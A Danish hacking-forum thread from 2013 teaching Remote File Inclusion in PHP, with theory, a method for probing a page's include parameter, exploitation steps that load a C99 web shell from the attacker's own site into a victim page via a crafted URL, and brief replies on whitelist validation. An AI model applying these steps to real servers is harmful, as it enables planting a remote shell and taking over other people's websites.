[STUT] RFI (Remote File Inclusion)
|
23-02-2013, 15:22
(Denne besked var sidst ændret: 28-05-2013, 00:38 af Doctor Blue.)
|
|||
|
|||
[STUT] RFI (Remote File Inclusion)
NOTE: Det her er kun til uddannelsesmæssige formål alene. Der tages intet ansvar for forkert brug af dette.
Indholdsfortegnelse
1. Teori RFI(Remote File Inclusion) er hvor hackeren kan inkludere en ekstern fil, typisk via et script såsom .asp/.php på web serveren. RFI sårbarhed opstår når en fil skal inkluderes og brugeren kan vælge hvilken fil. Selve fejlen består så i at scriptet ikke validere om hvorvidt det er noget ordentligt der bliver sat ind, og at alle kan sætte noget ind. 2. Finde sårbarheden For at finde sårbarheden skal du først finde en side hvor brugeren kan vælge hvilken fil der skal inkluderes. Dette kan være meget svært da man ikke kan se kildekoden til scriptet. Jeg vil vise et lille eksempel for at klargøre hvad du skal kigge efter: Lad os sige at fru. hansen har en side hvori vi hun inkludere nogle tekstfiler via .php . Den side hedder www.fruhansen.dk php filen ligger på hendes server og hedder hentfil.php Filen der inkludere hendes tekstfiler kunne se sådan her ud:
Det hendes kode nu ville gøre var at modtage en post parameter fra form'en som enten er regnskab.txt eller kageopskrift.txt Men som folk nok kan se, er der ingen verifikation, på om det i virkeligheden er regnskab.txt eller kageopskrift.txt der bliver inkluderet. Det kunne ligeså godt være hvilken som helst fil. Måden vi finder ud af om dette er muligt, eller om den tjekker hvad vi skriver er blot ved at sende nogle falske post parametre til hendes side. Du kunne f.eks se om du kunne smide et af dine egne tekstdokumenter derind. Så i stedet for at du spørger om regnskab.txt kan du jo se om den vil inkludere din egen fil i stedet. Så: www.fruhansen.dk/hentfil.php?fil=regnskab.txt Bliver til: www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/dinfil.txt? Hvis du kan dette har du nu succesfuldt fundet en RFI sårbarhed og er klar til at rykke videre 2. Udnyttelse af sårbarheden Den letteste måde at udnytte en sårbarhed som denne er med shells. For at finde et shell eller finde ud af hvad det er så kig i Ekstra referencer. Husk at nogle shells kan være backdoored. Dvs. at nogle har adgang til din bagdør. Men når du har anskaffet dig et shell(Jeg anbefaler C99) er du klar til at udnytte en RFI sårbarhed. Det første du skal gøre er at uploade dit shell på din egen side i tekst format. Sådan så det ikke bliver loaded på din egen side som en .php fil. Når du har gjort dette finder du dit link til dit shell. Dette kunne være. www.dinhjemmeside.com/ditshell.txt Det du gør nu er, som tidligere at inkludere filen i din offers side. www.fruhansen.dk/hentfil.php?fil=www.dinhjemmeside.com/ditshell.txt? Spørgsmåls tegnet er vigtigt, da filen så vil bliver loaded som PHP. 4. Beskyttelse mod RFI For at beskytte sig selv mod RFI skal man blot verificere det brugeren sender afsted. Den gamle kode:
Den nye:
5. Ekstra referencer Hvad er et shell? Hvor kan jeg få et? |
|||
25-02-2013, 14:51
(Denne besked var sidst ændret: 25-02-2013, 14:54 af Doctor Blue.)
|
|||
|
|||
RE: [STUT] RFI(Remote File Inclusion)
Kode: // filnavn: hentfil.php Jeg vil tro du mener || i stedet for && :) Desuden ville det være bedre enten at bruge en switch eller tjekke mod et array. Her er den metode jeg selv bruger Kode: $whitelist = array("news", "dologin", "dologout"); |
|||
25-02-2013, 17:25
(Denne besked var sidst ændret: 25-02-2013, 17:26 af Morph3s.)
|
|||
|
|||
RE: [STUT] RFI(Remote File Inclusion)
(25-02-2013, 14:51)Doctor Blue Skrev: Yea, mente || tak for heads up ;) . Kan sagtens se hvad du mener. Men dit hiver mange unødige ting ind, som egentlig ikke har noget at gøre med selve RFI sårbarheden. Det jeg blot prøver på er at lave det så simpelt så selv en der ikke kan PHP kan forstå det. EDIT: Og når der kun skal testes for 2 værdier er array eller switch overflødigt :) |
|||
26-02-2013, 23:35
|
|||
|
|||
RE: [STUT] RFI(Remote File Inclusion)
Lækre tutorials du har fået smækket sammen :D
er rimeligt noob med det her, så det hjælper en del ^^ |
|||
26-02-2013, 23:44
|
|||
|
|||
RE: [STUT] RFI(Remote File Inclusion) | |||
23-03-2013, 01:38
|
|||
|
|||
RE: [STUT] RFI(Remote File Inclusion)
Lækkert med noget php lærdom. Det kan jeg bedre forhold mig til end meget andet kode
Don't learn to hack, hack to learn
|
|||
|
User(s) browsing this thread: 1 Gæst(er)